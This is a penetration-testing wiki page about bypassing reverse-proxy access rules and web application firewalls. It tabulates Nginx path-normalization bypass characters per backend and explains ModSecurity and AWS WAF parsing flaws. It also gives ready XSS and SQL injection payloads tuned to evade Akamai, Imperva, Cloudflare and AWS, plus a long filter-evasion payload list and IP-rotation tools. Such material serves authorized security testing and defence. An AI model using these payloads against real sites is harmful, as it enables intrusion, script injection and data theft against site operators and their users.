# Proxy / WAF Protections Bypass

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## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>

Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).

Nginx rule example:

```plaintext
location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
```

In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.

### **NodeJS - Express**

| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0        | `\xA0`                        |
| 1.21.6        | `\xA0`                        |
| 1.20.2        | `\xA0`, `\x09`, `\x0C`        |
| 1.18.0        | `\xA0`, `\x09`, `\x0C`        |
| 1.16.1        | `\xA0`, `\x09`, `\x0C`        |

### **Flask**

| Nginx Version | **Flask Bypass Characters**                                    |
| ------------- | -------------------------------------------------------------- |
| 1.22.0        | `\x85`, `\xA0`                                                 |
| 1.21.6        | `\x85`, `\xA0`                                                 |
| 1.20.2        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |

### **Spring Boot**

| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0        | `;`                               |
| 1.21.6        | `;`                               |
| 1.20.2        | `\x09`, `;`                       |
| 1.18.0        | `\x09`, `;`                       |
| 1.16.1        | `\x09`, `;`                       |

### **PHP-FPM**

Nginx FPM configuration:

```plaintext
location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```

Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.

### How to prevent

```plaintext
location ~* ^/admin {
    deny all;
}
```

## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Path Confusion

[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\
Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.

The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.

Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.

## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Malformed Header

[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.

For example, sending the following request with a SQL injection in the header X-Query:

```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```

It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).

## Generic WAF bypasses

### Request Size Limits

Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.

- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>

- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:

If p**revention mode**: Logs and blocks the request.\
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.

- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.

- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**

Up to 128KB.

### Static assets inspection gaps (.js GETs)

Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with `.js`), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.

Practical use cases:

- Send payloads in untrusted headers (e.g., `User-Agent`) on a GET to a `.js` path to avoid content inspection, then immediately request the main HTML to influence the cached variant.
- Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
- In Burp Repeater, use "Send group in parallel" (single-packet style) to race the two requests (`.js` then HTML) through the same front-end path.

This pairs well with header-reflection cache poisoning. See:

- {{#ref}}
cache-deception/README.md
{{#endref}}
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)

### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>

```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```

### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>

Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).

#### Example <a href="#example" id="example"></a>

```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```

### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>

As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.

For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.

Therefore, this allows to **hide payloads in encoded components** that the WAF will decode and interpret while the victim won't.

Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...

In the post the following final bypasses are suggested:

- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`

It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.

These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).

### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>


{{#ref}}
h2c-smuggling.md
{{#endref}}

### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>

- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

### Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).

```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```

## Tools

- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length

## References

- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


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